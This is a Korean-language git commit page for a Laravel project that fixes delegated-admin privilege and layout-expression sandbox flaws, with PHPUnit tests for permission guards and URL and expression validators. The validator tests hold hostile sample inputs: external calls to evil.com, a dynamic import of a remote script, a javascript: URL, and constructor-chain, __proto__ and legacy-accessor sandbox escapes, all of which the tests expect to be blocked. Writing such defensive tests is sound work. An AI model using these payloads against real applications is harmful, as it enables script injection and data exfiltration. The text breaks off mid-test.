fix(security): KVE-2026-1914/1915/1919 remediation 전건

위임 관리자(부관리자)가 권한·역할·표현식·비밀 콘텐츠 경계를 우회하던
결함군을 계층 대칭성 원칙으로 전건 차단한다. 약한 경로가 정상 응답을
내보내는 것이 유일한 증상이라, 게이트를 생산 지점 한 곳(SSoT)에 두고
같은 데이터를 내보내는 소비 경로 전부가 그 게이트를 경유하도록 맞췄다.

- 등급 상한(rank ceiling): 슈퍼관리자 보호·역할/사용자 역할 배정(추가·제거
 대칭)·일괄 상태변경·순서변경을 상세 경로와 동일 강도로 재적용. 가드는
 DB 쓰기에 선행하여 거부 시 상태 불변.
- 레이아웃 표현식: new Function/with 실행을 AST 화이트리스트 평가기로 교체.
 비-문자열 computed 키 정규화(normalizeKey)·Object facade(리플렉션 static
 제거)·legacy 접근자 차단. 저장측 검증·정적 검사와 3계층 동형.
- secret 게이트: 비밀글의 댓글·첨부·문의 독립 경로 재적용, hash 파일서빙
 소유권·비밀·발행 상태 검사 통일.
- 신뢰 스크립트 호스트: 확장 선언 기반 + same-origin 브라우저 정규화를
 런타임·저장측·정적검사 3층 동형화.
- 회귀 감지: 단위·Feature·E2E·시나리오 매니페스트 전축 + audit 룰 4종 신설.
This commit is contained in:
HeuJung committed 2026-08-17 01:45:09 +09:00
1 parent cd84b63d2b
commit 71abdeaf60
249 files changed
+14354 -1134

No files matched your search

@@ -444,6 +444,11 @@ class RoleControllerTest extends TestCase
*/
public function test_store_creates_role_with_permissions(): void
{
// 권한 부여 상한(KVE-2026-1919 C-4): 비-슈퍼관리자는 자신이 보유하지 않은
// 권한을 역할에 부여할 수 없다. 이 테스트는 임의 권한 부여의 정상 경로를
// 검증하므로 액터를 슈퍼 관리자로 승격한다.
$this->admin->update(['is_super' => true]);
$permission1 = $this->createTestPermission('test.perm.one');
$permission2 = $this->createTestPermission('test.perm.two');
@@ -637,6 +642,10 @@ class RoleControllerTest extends TestCase
*/
public function test_update_syncs_permissions(): void
{
// 권한 부여 상한(KVE-2026-1919 C-4): 임의 권한 동기화의 정상 경로를 검증하므로
// 액터를 슈퍼 관리자로 승격한다.
$this->admin->update(['is_super' => true]);
$role = $this->createTestRole();
$oldPermission = $this->createTestPermission('old.permission');
$newPermission = $this->createTestPermission('new.permission');
@@ -34,6 +34,11 @@ class IdentityChallengeFlowTest extends TestCase
$this->seed(IdentityMessageDefinitionSeeder::class);
}
/**
* @scenario actor_role=guest, challenge_owner=none, endpoint=request
*
* @effects guest_can_request_challenge
*/
public function test_request_challenge_returns_201_and_creates_log(): void
{
$response = $this->postJson('/api/identity/challenges', [
@@ -0,0 +1,210 @@
<?php
namespace Tests\Feature\Api\Identity;
use App\Extension\HookManager;
use App\Http\Requests\Identity\CancelChallengeRequest;
use App\Http\Requests\Identity\RequestChallengeRequest;
use App\Http\Requests\Identity\VerifyChallengeRequest;
use App\Models\Permission;
use App\Models\Role;
use Database\Seeders\RolePermissionSeeder;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Notification;
use Illuminate\Support\Facades\Route as RouteFacade;
use Tests\TestCase;
/**
* IDV 권한 가드의 "데이터 준비" 와 "라우트 계약" 검증.
*
* PermissionGuardTest 가 요청 시점의 통과/거부를 다룬다면, 본 테스트는 그 판정이 읽는
* 시드 데이터(권한 메타·역할별 scope)와 라우트 구성(미들웨어·확장 지점)이 규약대로인지를 본다.
* 이 둘이 어긋나면 가드는 "정상 동작" 하면서도 잘못된 대상을 통과시킨다.
*/
class IdentityPermissionContractTest extends TestCase
{
use RefreshDatabase;
/** IDV 사용자 권한 3종. */
private const IDV_PERMISSIONS = [
'core.identity.request',
'core.identity.verify',
'core.identity.cancel',
];
protected function setUp(): void
{
parent::setUp();
Notification::fake();
$this->seed(RolePermissionSeeder::class);
}
/**
* @scenario actor_role=user_with_perm, challenge_owner=self, endpoint=verify
*
* @effects role_permission_seeder_syncs_idv_permissions_with_owner_metadata
*/
public function test_seeder_syncs_idv_permissions_with_owner_metadata(): void
{
foreach (self::IDV_PERMISSIONS as $identifier) {
$permission = Permission::where('identifier', $identifier)->first();
$this->assertNotNull($permission, "{$identifier} 권한이 시드되지 않았다");
}
// verify/cancel 은 소유자 판정 대상이므로 resource_route_key + owner_key 가 있어야 한다.
// 이 메타가 없으면 PermissionMiddleware 가 scope=self 를 평가할 근거를 잃고 통과시킨다.
foreach (['core.identity.verify', 'core.identity.cancel'] as $identifier) {
$permission = Permission::where('identifier', $identifier)->first();
$this->assertSame('challenge', $permission->resource_route_key, "{$identifier} 의 resource_route_key 불일치");
$this->assertSame('user_id', $permission->owner_key, "{$identifier} 의 owner_key 불일치");
}
// request 는 대상 challenge 가 아직 없으므로 소유자 메타를 갖지 않는다.
$request = Permission::where('identifier', 'core.identity.request')->first();
$this->assertNull($request->resource_route_key);
$this->assertNull($request->owner_key);
}
/**
* @scenario actor_role=user_with_perm, challenge_owner=other, endpoint=cancel
*
* @effects role_permission_seeder_assigns_self_scope_to_user_role_idv_perms
*/
public function test_seeder_assigns_self_scope_to_user_role_idv_permissions(): void
{
$userRole = Role::where('identifier', 'user')->first();
$this->assertNotNull($userRole);
$scopes = $userRole->permissions()
->whereIn('identifier', self::IDV_PERMISSIONS)
->pluck('role_permissions.scope_type', 'identifier')
->all();
// verify/cancel 만 self — 이 값이 비면 남의 challenge 도 통과한다
$this->assertSame('self', $scopes['core.identity.verify'] ?? null);
$this->assertSame('self', $scopes['core.identity.cancel'] ?? null);
// request 는 대상이 없어 scope 를 갖지 않는다
$this->assertNull($scopes['core.identity.request'] ?? null);
}
/**
* @scenario actor_role=guest, challenge_owner=other, endpoint=cancel
*
* @effects role_permission_seeder_grants_idv_perms_to_guest_without_scope
*/
public function test_seeder_grants_idv_permissions_to_guest_role_without_scope(): void
{
$guestRole = Role::where('identifier', 'guest')->first();
$this->assertNotNull($guestRole, 'guest 역할이 시드되지 않았다');
$scopes = $guestRole->permissions()
->whereIn('identifier', self::IDV_PERMISSIONS)
->pluck('role_permissions.scope_type', 'identifier')
->all();
// guest 는 IDV 3종 전부 보유 (Mode B 가입 흐름)
foreach (self::IDV_PERMISSIONS as $identifier) {
$this->assertArrayHasKey($identifier, $scopes, "guest 역할에 {$identifier} 미부여");
// scope 가 붙으면 user_id 없는 게스트가 항상 거부되어 가입 흐름이 막힌다
$this->assertNull($scopes[$identifier], "guest 의 {$identifier} 에 scope 가 붙어 있다");
}
}
/**
* @scenario actor_role=guest, challenge_owner=other, endpoint=verify
*
* @effects guest_role_idv_permission_check_via_guest_role_cache
*/
public function test_guest_role_idv_permission_is_visible_through_guest_role_lookup(): void
{
$guestRole = Role::where('identifier', 'guest')->first();
// 비로그인 요청의 권한 판정은 이 guest 역할 조회 결과에 전적으로 의존한다.
// 조회가 비면 게스트의 IDV 흐름 전체가 403 이 된다.
$identifiers = $guestRole->permissions()->pluck('identifier')->all();
foreach (self::IDV_PERMISSIONS as $identifier) {
$this->assertContains($identifier, $identifiers);
}
}
/**
* @scenario actor_role=guest, challenge_owner=none, endpoint=request
*
* @effects cancel_endpoint_via_permission_middleware_does_not_require_legacy_auth_sanctum
*/
public function test_idv_challenge_routes_use_optional_sanctum_not_auth_sanctum(): void
{
$names = [
'api.identity.challenges.request',
'api.identity.challenges.verify',
'api.identity.challenges.cancel',
];
foreach ($names as $name) {
$route = RouteFacade::getRoutes()->getByName($name);
$this->assertNotNull($route, "{$name} 라우트가 없다");
$middleware = $route->gatherMiddleware();
// auth:sanctum 이 붙으면 비로그인 게스트가 401 로 막혀 Mode B 가입이 불가능해진다.
$this->assertNotContains('auth:sanctum', $middleware, "{$name} 에 auth:sanctum 이 붙어 있다");
$this->assertContains('optional.sanctum', $middleware, "{$name} 에 optional.sanctum 이 없다");
// 권한 판정은 permission 미들웨어가 단독으로 담당한다
$hasPermission = collect($middleware)->contains(fn ($m) => str_starts_with((string) $m, 'permission:user,core.identity.'));
$this->assertTrue($hasPermission, "{$name} 에 permission 미들웨어가 없다");
}
}
/**
* @scenario actor_role=user_with_perm, challenge_owner=none, endpoint=request
*
* @effects request_challenge_route_validation_rules_extensible_via_hook_filter
*/
public function test_request_challenge_rules_are_extensible_via_hook_filter(): void
{
HookManager::addFilter('core.identity.request_validation_rules', function (array $rules) {
$rules['extra_field'] = ['required', 'string'];
return $rules;
}, 10, 'test-listener');
$rules = (new RequestChallengeRequest)->rules();
$this->assertArrayHasKey('extra_field', $rules, '확장이 추가한 규칙이 반영되지 않았다');
$this->assertArrayHasKey('purpose', $rules, '기본 규칙이 확장 때문에 사라졌다');
}
/**
* @scenario actor_role=user_with_perm, challenge_owner=self, endpoint=verify
*
* @effects verify_challenge_route_validation_rules_extensible_via_hook_filter
*/
public function test_verify_challenge_rules_are_extensible_via_hook_filter(): void
{
HookManager::addFilter('core.identity.verify_validation_rules', function (array $rules) {
$rules['device_token'] = ['nullable', 'string'];
return $rules;
}, 10, 'test-listener');
$rules = (new VerifyChallengeRequest)->rules();
$this->assertArrayHasKey('device_token', $rules);
}
/**
* @scenario actor_role=user_with_perm, challenge_owner=other, endpoint=verify
*
* @effects cancel_form_request_authorize_returns_true_letting_route_middleware_decide
*/
public function test_cancel_form_request_authorize_defers_to_route_middleware(): void
{
// FormRequest 가 자체 인증/권한 판정을 하면 라우트 미들웨어와 판정이 둘로 갈린다.
// 코어 규약은 authorize(): true 고정 + permission 미들웨어 단일 게이트다.
$this->assertTrue((new CancelChallengeRequest)->authorize());
$this->assertSame([], (new CancelChallengeRequest)->rules());
}
}
@@ -4,6 +4,7 @@ namespace Tests\Feature\Api\Identity;
use App\Enums\IdentityVerificationStatus;
use App\Models\IdentityVerificationLog;
use App\Models\Permission;
use App\Models\Role;
use App\Models\User;
use Database\Seeders\RolePermissionSeeder;
@@ -44,6 +45,11 @@ class PermissionGuardTest extends TestCase
$response->assertStatus(200);
}
/**
* @scenario actor_role=guest, challenge_owner=none, endpoint=request
*
* @effects guest_can_request_challenge
*/
public function test_challenge_request_works_for_unauthenticated_guests(): void
{
// IDV 의 핵심 설계: 가입 전 Mode B 에서도 challenge 발급 가능해야 하므로 optional.sanctum
@@ -124,6 +130,11 @@ class PermissionGuardTest extends TestCase
$this->getJson('/api/admin/identity/providers')->assertStatus(401);
}
/**
* @scenario actor_role=guest, challenge_owner=other, endpoint=verify
*
* @effects guest_can_verify_any_challenge, missing_challenge_returns_404_after_guard_pass
*/
public function test_guest_can_verify_challenge(): void
{
// guest 역할에 core.identity.verify 권한 부여됨 — Mode B 가입 흐름
@@ -135,6 +146,11 @@ class PermissionGuardTest extends TestCase
$response->assertStatus(404); // 401(권한 거부) 아닌 404(모델 미존재) — 가드는 통과
}
/**
* @scenario actor_role=guest, challenge_owner=other, endpoint=cancel
*
* @effects guest_can_cancel_any_challenge, permission_middleware_resolves_challenge_via_route_model_binding
*/
public function test_guest_can_cancel_challenge(): void
{
// guest 의 cancel 도 동일 — 권한 가드 통과 + 모델 미존재로 404
@@ -143,6 +159,11 @@ class PermissionGuardTest extends TestCase
$response->assertStatus(404);
}
/**
* @scenario actor_role=user_with_perm, challenge_owner=self, endpoint=cancel
*
* @effects user_with_perm_can_cancel_own_challenge
*/
public function test_user_can_cancel_own_challenge(): void
{
$user = $this->createUserWithUserRole();
@@ -155,6 +176,11 @@ class PermissionGuardTest extends TestCase
$response->assertStatus(200);
}
/**
* @scenario actor_role=user_with_perm, challenge_owner=other, endpoint=cancel
*
* @effects user_with_perm_cannot_cancel_others_challenge_403
*/
public function test_user_cannot_cancel_others_challenge(): void
{
$owner = $this->createUserWithUserRole();
@@ -169,6 +195,11 @@ class PermissionGuardTest extends TestCase
$response->assertStatus(403);
}
/**
* @scenario actor_role=admin, challenge_owner=other, endpoint=cancel
*
* @effects admin_can_cancel_any_challenge_via_scope_null
*/
public function test_admin_can_cancel_any_challenge(): void
{
$owner = $this->createUserWithUserRole();
@@ -183,6 +214,11 @@ class PermissionGuardTest extends TestCase
$response->assertStatus(200);
}
/**
* @scenario actor_role=user_without_perm, challenge_owner=self, endpoint=cancel
*
* @effects user_without_perm_gets_403_on_cancel
*/
public function test_user_without_identity_permission_gets_403_on_cancel(): void
{
$user = $this->createUserWithUserRole();
@@ -191,7 +227,7 @@ class PermissionGuardTest extends TestCase
// user 역할에서 IDV cancel 권한만 제거 → 가드 차단
$userRole = Role::where('identifier', 'user')->first();
$cancelPerm = \App\Models\Permission::where('identifier', 'core.identity.cancel')->first();
$cancelPerm = Permission::where('identifier', 'core.identity.cancel')->first();
$userRole->permissions()->detach($cancelPerm->id);
$response = $this->withHeader('Authorization', 'Bearer '.$token)
@@ -200,6 +236,237 @@ class PermissionGuardTest extends TestCase
$response->assertStatus(403);
}
/**
* @scenario actor_role=user_with_perm, challenge_owner=none, endpoint=request
*
* @effects user_with_perm_can_request_challenge
*/
public function test_user_with_permission_can_request_challenge(): void
{
$user = $this->createUserWithUserRole();
$token = $user->createToken('test')->plainTextToken;
$response = $this->withHeader('Authorization', 'Bearer '.$token)
->postJson('/api/identity/challenges', [
'purpose' => 'sensitive_action',
'target' => ['email' => $user->email],
]);
$response->assertStatus(201);
}
/**
* @scenario actor_role=user_with_perm, challenge_owner=self, endpoint=verify
*
* @effects user_with_perm_can_verify_own_challenge
*/
public function test_user_can_verify_own_challenge(): void
{
$user = $this->createUserWithUserRole();
$token = $user->createToken('test')->plainTextToken;
$challenge = $this->createChallengeFor($user);
$response = $this->withHeader('Authorization', 'Bearer '.$token)
->postJson("/api/identity/challenges/{$challenge->id}/verify", [
'code' => '123456',
]);
// scope=self 가드 통과 — 권한 거부(403)가 아니어야 한다
$this->assertNotSame(403, $response->getStatusCode());
}
/**
* @scenario actor_role=user_with_perm, challenge_owner=other, endpoint=verify
*
* @effects user_with_perm_cannot_verify_others_challenge_403
*/
public function test_user_cannot_verify_others_challenge(): void
{
$owner = $this->createUserWithUserRole();
$intruder = $this->createUserWithUserRole();
$token = $intruder->createToken('test')->plainTextToken;
$challenge = $this->createChallengeFor($owner);
$response = $this->withHeader('Authorization', 'Bearer '.$token)
->postJson("/api/identity/challenges/{$challenge->id}/verify", [
'code' => '123456',
]);
// 남의 challenge 는 코드가 맞아도 scope=self 가드에서 먼저 차단된다
$response->assertStatus(403);
}
/**
* @scenario actor_role=user_without_perm, challenge_owner=none, endpoint=request
*
* @effects user_without_perm_gets_403_on_request
*/
public function test_user_without_permission_gets_403_on_request(): void
{
$user = $this->createUserWithUserRole();
$token = $user->createToken('test')->plainTextToken;
$this->detachIdentityPermission('core.identity.request');
$response = $this->withHeader('Authorization', 'Bearer '.$token)
->postJson('/api/identity/challenges', [
'purpose' => 'sensitive_action',
'target' => ['email' => $user->email],
]);
$response->assertStatus(403);
}
/**
* @scenario actor_role=user_without_perm, challenge_owner=self, endpoint=verify
*
* @effects user_without_perm_gets_403_on_verify
*/
public function test_user_without_permission_gets_403_on_verify_own(): void
{
$user = $this->createUserWithUserRole();
$token = $user->createToken('test')->plainTextToken;
$challenge = $this->createChallengeFor($user);
$this->detachIdentityPermission('core.identity.verify');
$response = $this->withHeader('Authorization', 'Bearer '.$token)
->postJson("/api/identity/challenges/{$challenge->id}/verify", [
'code' => '123456',
]);
// 본인 challenge 여도 권한 자체가 없으면 403
$response->assertStatus(403);
}
/**
* @scenario actor_role=user_without_perm, challenge_owner=other, endpoint=verify
*
* @effects user_without_perm_gets_403_on_verify
*/
public function test_user_without_permission_gets_403_on_verify_others(): void
{
$owner = $this->createUserWithUserRole();
$intruder = $this->createUserWithUserRole();
$token = $intruder->createToken('test')->plainTextToken;
$challenge = $this->createChallengeFor($owner);
$this->detachIdentityPermission('core.identity.verify');
$response = $this->withHeader('Authorization', 'Bearer '.$token)
->postJson("/api/identity/challenges/{$challenge->id}/verify", [
'code' => '123456',
]);
$response->assertStatus(403);
}
/**
* @scenario actor_role=user_without_perm, challenge_owner=other, endpoint=cancel
*
* @effects user_without_perm_gets_403_on_cancel
*/
public function test_user_without_permission_gets_403_on_cancel_others(): void
{
$owner = $this->createUserWithUserRole();
$intruder = $this->createUserWithUserRole();
$token = $intruder->createToken('test')->plainTextToken;
$challenge = $this->createChallengeFor($owner);
$this->detachIdentityPermission('core.identity.cancel');
$response = $this->withHeader('Authorization', 'Bearer '.$token)
->postJson("/api/identity/challenges/{$challenge->id}/cancel");
$response->assertStatus(403);
}
/**
* @scenario actor_role=admin, challenge_owner=none, endpoint=request
*
* @effects user_with_perm_can_request_challenge
*/
public function test_admin_can_request_challenge(): void
{
$admin = $this->createAdmin();
$token = $admin->createToken('test')->plainTextToken;
$response = $this->withHeader('Authorization', 'Bearer '.$token)
->postJson('/api/identity/challenges', [
'purpose' => 'sensitive_action',
'target' => ['email' => $admin->email],
]);
$response->assertStatus(201);
}
/**
* @scenario actor_role=admin, challenge_owner=self, endpoint=verify
*
* @effects admin_can_verify_any_challenge_via_scope_null
*/
public function test_admin_can_verify_own_challenge(): void
{
$admin = $this->createAdmin();
$token = $admin->createToken('test')->plainTextToken;
$challenge = $this->createChallengeFor($admin);
$response = $this->withHeader('Authorization', 'Bearer '.$token)
->postJson("/api/identity/challenges/{$challenge->id}/verify", [
'code' => '123456',
]);
$this->assertNotSame(403, $response->getStatusCode());
}
/**
* @scenario actor_role=admin, challenge_owner=other, endpoint=verify
*
* @effects admin_can_verify_any_challenge_via_scope_null
*/
public function test_admin_can_verify_any_challenge(): void
{
$owner = $this->createUserWithUserRole();
$admin = $this->createAdmin();
$token = $admin->createToken('test')->plainTextToken;
$challenge = $this->createChallengeFor($owner);
$response = $this->withHeader('Authorization', 'Bearer '.$token)
->postJson("/api/identity/challenges/{$challenge->id}/verify", [
'code' => '123456',
]);
// admin 은 scope=null 이라 남의 challenge 도 가드를 통과한다
$this->assertNotSame(403, $response->getStatusCode());
}
/**
* @scenario actor_role=admin, challenge_owner=self, endpoint=cancel
*
* @effects admin_can_cancel_any_challenge_via_scope_null
*/
public function test_admin_can_cancel_own_challenge(): void
{
$admin = $this->createAdmin();
$token = $admin->createToken('test')->plainTextToken;
$challenge = $this->createChallengeFor($admin);
$response = $this->withHeader('Authorization', 'Bearer '.$token)
->postJson("/api/identity/challenges/{$challenge->id}/cancel");
$response->assertStatus(200);
}
/**
* user 역할에서 지정 IDV 권한을 떼어냅니다 (권한 미보유 상태 재현).
*/
private function detachIdentityPermission(string $identifier): void
{
$userRole = Role::where('identifier', 'user')->first();
$permission = Permission::where('identifier', $identifier)->first();
$userRole->permissions()->detach($permission->id);
}
/**
* user 역할이 attach 된 사용자를 생성합니다.
*
+191
View File
@@ -2,6 +2,10 @@
namespace Tests\Feature\Rules;
use App\Http\Requests\Layout\StoreLayoutRequest;
use App\Http\Requests\Layout\UpdateLayoutContentRequest;
use App\Http\Requests\Layout\UpdateLayoutExtensionContentRequest;
use App\Http\Requests\Layout\UpdateLayoutRequest;
use App\Rules\NoExternalUrls;
use Tests\TestCase;
@@ -339,6 +343,58 @@ class NoExternalUrlsTest extends TestCase
$this->assertFalse($failed, 'Relative paths should pass validation');
}
/**
* init_actions(로드 시 자동 실행)의 외부 navigate URL 차단 테스트
*
* init_actions 는 페이지 진입 즉시 실행되므로 외부 URL 은 자동 리다이렉트/유출 경로다.
* 컴포넌트 actions 와 동일 강도로 차단해야 한다.
*
* @effects init_actions_external_url_rejected
*/
public function test_fails_with_external_url_in_init_actions(): void
{
$layout = [
'version' => '1.0.0',
'layout_name' => 'test',
'init_actions' => [
['handler' => 'navigate', 'params' => ['path' => 'https://evil.com/redirect']],
],
'components' => [],
];
$failed = false;
$this->rule->validate('layout', $layout, function () use (&$failed) {
$failed = true;
});
$this->assertTrue($failed, 'init_actions 의 외부 URL 은 차단되어야 합니다');
}
/**
* init_actions 의 same-origin 경로는 통과 테스트 (과차단 회귀 방지)
*
* @effects same_origin_path_in_init_actions_allowed
*/
public function test_passes_with_same_origin_path_in_init_actions(): void
{
$layout = [
'version' => '1.0.0',
'layout_name' => 'test',
'init_actions' => [
['handler' => 'apiCall', 'params' => ['endpoint' => '/api/admin/bootstrap']],
['handler' => 'navigate', 'params' => ['path' => '/dashboard']],
],
'components' => [],
];
$failed = false;
$this->rule->validate('layout', $layout, function () use (&$failed) {
$failed = true;
});
$this->assertFalse($failed, 'init_actions 의 same-origin 경로는 통과해야 합니다');
}
/**
* 복잡한 중첩 구조에서 다중 외부 URL 차단 테스트
*/
@@ -377,4 +433,139 @@ class NoExternalUrlsTest extends TestCase
$this->assertTrue($failed, 'Multiple external URLs should fail validation');
}
// ==========================================
// 문자열 스칼라 값 검사 (KVE-2026-1915 후속)
// ==========================================
//
// 이 규칙은 배열 트리 순회용으로 설계됐으나 실제로는 문자열 endpoint 필드
// (`content.endpoint`·`content.data_sources.*.endpoint`)에도 부착되어 있다.
// 배열이 아니면 즉시 return 하던 종전 구현에서는 그 부착이 조용한 no-op 이었다.
/**
* 문자열 값으로 직접 부착된 경우에도 외부 URL 을 차단한다.
*
* @effects plain_string_value_is_inspected_not_skipped
*/
public function test_fails_with_external_url_as_plain_string_value(): void
{
$failed = false;
$this->rule->validate('content.endpoint', 'https://evil.com/steal', function () use (&$failed) {
$failed = true;
});
$this->assertTrue($failed, '문자열 필드에 부착된 경우에도 외부 URL 은 차단되어야 합니다');
}
/**
* 문자열 값의 same-origin 경로는 통과 (과차단 회귀 방지).
*
* @effects same_origin_plain_string_allowed
*/
public function test_passes_with_same_origin_path_as_plain_string_value(): void
{
$failed = false;
$this->rule->validate('content.endpoint', '/api/admin/users', function () use (&$failed) {
$failed = true;
});
$this->assertFalse($failed, '문자열 필드의 same-origin 경로는 통과해야 합니다');
}
/**
* 문자열 값의 위험 스킴(javascript:)도 차단한다.
*
* @effects plain_string_value_is_inspected_not_skipped
*/
public function test_fails_with_dangerous_scheme_as_plain_string_value(): void
{
$failed = false;
$this->rule->validate('content.endpoint', 'javascript:alert(1)', function () use (&$failed) {
$failed = true;
});
$this->assertTrue($failed, '문자열 필드의 javascript: 스킴은 차단되어야 합니다');
}
// ==========================================
// FormRequest 결선 (규칙이 content 배열에 실제로 물려 있는지)
// ==========================================
//
// 편집기 저장 경로(LayoutController::update → UpdateLayoutContentRequest)의 content
// 트리에 이 규칙이 붙어 있지 않으면, init_actions·props·actions 의 외부 URL 차단이
// 그 경로에서만 조용히 발화하지 않는다.
/**
* FormRequest 의 content 배열 규칙에서 NoExternalUrls 인스턴스를 찾는다.
*
* @param array<string, mixed> $rules FormRequest rules() 결과
* @return bool 부착되어 있으면 true
*/
private function contentRuleHasNoExternalUrls(array $rules): bool
{
foreach ((array) ($rules['content'] ?? []) as $rule) {
if ($rule instanceof NoExternalUrls) {
return true;
}
}
return false;
}
/**
* @effects rule_attached_to_every_layout_content_form_request
*/
public function test_update_content_request_attaches_rule_to_content_array(): void
{
$request = UpdateLayoutContentRequest::create('/x', 'PUT', [
'content' => ['version' => '1.0.0', 'components' => []],
]);
$request->setContainer($this->app);
$this->assertTrue(
$this->contentRuleHasNoExternalUrls($request->rules()),
'UpdateLayoutContentRequest 의 content 배열 규칙에 NoExternalUrls 가 부착되어야 합니다'
);
}
/**
* @effects rule_attached_to_every_layout_content_form_request
*/
public function test_update_extension_content_request_attaches_rule_to_content_array(): void
{
$request = UpdateLayoutExtensionContentRequest::create('/x', 'PUT', [
'content' => ['priority' => 0],
]);
$request->setContainer($this->app);
$this->assertTrue(
$this->contentRuleHasNoExternalUrls($request->rules()),
'UpdateLayoutExtensionContentRequest 의 content 배열 규칙에 NoExternalUrls 가 부착되어야 합니다'
);
}
/**
* @effects rule_attached_to_every_layout_content_form_request
*/
public function test_store_and_update_requests_attach_rule_to_content_array(): void
{
$store = StoreLayoutRequest::create('/x', 'POST', [
'content' => ['version' => '1.0.0', 'components' => []],
]);
$store->setContainer($this->app);
$update = UpdateLayoutRequest::create('/x', 'PUT', [
'content' => ['version' => '1.0.0', 'components' => []],
]);
$update->setContainer($this->app);
$this->assertTrue(
$this->contentRuleHasNoExternalUrls($store->rules()),
'StoreLayoutRequest 의 content 배열 규칙에 NoExternalUrls 가 부착되어야 합니다'
);
$this->assertTrue(
$this->contentRuleHasNoExternalUrls($update->rules()),
'UpdateLayoutRequest 의 content 배열 규칙에 NoExternalUrls 가 부착되어야 합니다'
);
}
}
@@ -0,0 +1,663 @@
<?php
namespace Tests\Feature\Rules;
use App\Extension\HookManager;
use App\Http\Requests\Layout\StoreLayoutRequest;
use App\Http\Requests\Layout\UpdateLayoutContentRequest;
use App\Http\Requests\Layout\UpdateLayoutExtensionContentRequest;
use App\Http\Requests\Layout\UpdateLayoutRequest;
use App\Rules\SafeLayoutExpressions;
use App\Support\TrustedScriptHosts;
use PHPUnit\Framework\Attributes\DataProvider;
use Tests\TestCase;
/**
* SafeLayoutExpressions 규칙 테스트 (KVE-2026-1915 B-3)
*
* 저장측 심층 방어: 표현식 샌드박스 우회 토큰과 외부 리소스 URL 을 거부하고,
* 정상 표현식(화살표 함수·템플릿 리터럴·스프레드 등)은 통과시키는지 검증합니다.
*
* 시나리오 축(case)은 배포 번들 E2E(layout-expression-sandbox.spec.ts)가 커버하고,
* 이 파일은 저장 단계에서 같은 효과를 떠받칩니다 — 런타임 평가기가 실행을 막기 전에
* 위험 표현식이 애초에 저장되지 않도록 거부합니다.
*
* 효과 요약(마커 아님 — 평문): sandbox_escape_blocked. 실제 마커는 그 효과를 단언하는
* 개별 메서드에만 둔다 — 클래스 레벨에 몰아 적으면 메서드를 전부 지워도 커버리지가
* green 으로 남는다.
*/
class SafeLayoutExpressionsTest extends TestCase
{
private SafeLayoutExpressions $rule;
protected function setUp(): void
{
parent::setUp();
$this->rule = new SafeLayoutExpressions;
}
protected function tearDown(): void
{
HookManager::clearFilter(TrustedScriptHosts::FILTER_HOOK);
parent::tearDown();
}
/**
* 신뢰 호스트를 훅으로 등록합니다 (확장 manifest 선언을 모사).
*
* @param string $host 신뢰 호스트명
*/
private function trustHost(string $host): void
{
HookManager::addFilter(
TrustedScriptHosts::FILTER_HOOK,
fn (array $hosts) => array_merge($hosts, [$host]),
priority: 1
);
}
private function fails(array $layout): bool
{
$failed = false;
$this->rule->validate('content', $layout, function () use (&$failed) {
$failed = true;
});
return $failed;
}
// ==========================================
// 정상 표현식 통과 (회귀 방지)
// ==========================================
public function test_passes_normal_layout(): void
{
$layout = [
'version' => '1.0.0',
'components' => [
['name' => 'Div', 'props' => ['text' => '{{user?.name ?? "Guest"}}']],
],
];
$this->assertFalse($this->fails($layout), '정상 레이아웃은 통과해야 합니다');
}
public function test_passes_arrow_function_expression(): void
{
// 화살표 함수/스프레드/필터는 정상 (176개 레이아웃에서 사용)
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['value' => "{{((_global.f ?? []) || []).filter(v => v !== 'x')}}"],
]],
];
$this->assertFalse($this->fails($layout), '화살표 함수 표현식은 통과해야 합니다');
}
public function test_passes_template_literal_navigation(): void
{
// 템플릿 리터럴은 내비게이션 경로 조립에 정상 사용
$layout = [
'actions' => [[
'handler' => 'navigate',
'params' => ['path' => '{{`/mypage/${$args[0]}`}}'],
]],
];
$this->assertFalse($this->fails($layout), '템플릿 리터럴은 통과해야 합니다');
}
public function test_passes_same_origin_endpoint(): void
{
$layout = [
'data_sources' => [
['id' => 'products', 'endpoint' => '/api/modules/sirsoft-ecommerce/products'],
['id' => 'post', 'endpoint' => '/api/modules/sirsoft-board/admin/board/{{route.slug}}/posts/{{route.id}}'],
],
];
$this->assertFalse($this->fails($layout), 'same-origin 경로 엔드포인트는 통과해야 합니다');
}
// ==========================================
// 위험 표현식 차단
// ==========================================
/** @effects sandbox_escape_blocked */
public function test_fails_constructor_chain_dot_access(): void
{
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['text' => "{{''.constructor.constructor('return 1')()}}"],
]],
];
$this->assertTrue($this->fails($layout), 'constructor 체인 접근은 차단되어야 합니다');
}
/** @effects sandbox_escape_blocked */
public function test_fails_constructor_computed_string_access(): void
{
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['text' => "{{''['constructor']}}"],
]],
];
$this->assertTrue($this->fails($layout), 'computed constructor 접근은 차단되어야 합니다');
}
/** @effects sandbox_escape_blocked */
public function test_fails_proto_access(): void
{
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['text' => '{{obj.__proto__}}'],
]],
];
$this->assertTrue($this->fails($layout), '__proto__ 접근은 차단되어야 합니다');
}
/** @effects sandbox_escape_blocked */
public function test_fails_function_constructor_call(): void
{
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['text' => "{{Function('return 1')()}}"],
]],
];
$this->assertTrue($this->fails($layout), 'Function 생성자 호출은 차단되어야 합니다');
}
/** @effects sandbox_escape_blocked */
public function test_fails_dynamic_import_call(): void
{
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['text' => "{{import('https://evil.com/x.js')}}"],
]],
];
$this->assertTrue($this->fails($layout), '동적 import() 호출은 차단되어야 합니다');
}
/** @effects sandbox_escape_blocked */
public function test_fails_legacy_accessor_prototype_reach(): void
{
// legacy 접근자 4종 — 프로퍼티를 문자열 인자로 지목해 프로토타입을 읽고 쓴다.
// Object 리플렉션 static 을 제거해도 이 경로가 같은 능력을 상속으로 제공한다.
foreach (['__lookupGetter__', '__lookupSetter__', '__defineGetter__', '__defineSetter__'] as $accessor) {
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['text' => "{{({}).{$accessor}('__proto__')}}"],
]],
];
$this->assertTrue($this->fails($layout), "{$accessor} 접근은 차단되어야 합니다");
}
}
public function test_passes_prototype_word_in_plain_comparison(): void
{
// 과차단 회귀 방지 — 런타임 평가기가 허용하는 정상 비교는 저장측도 통과해야 한다.
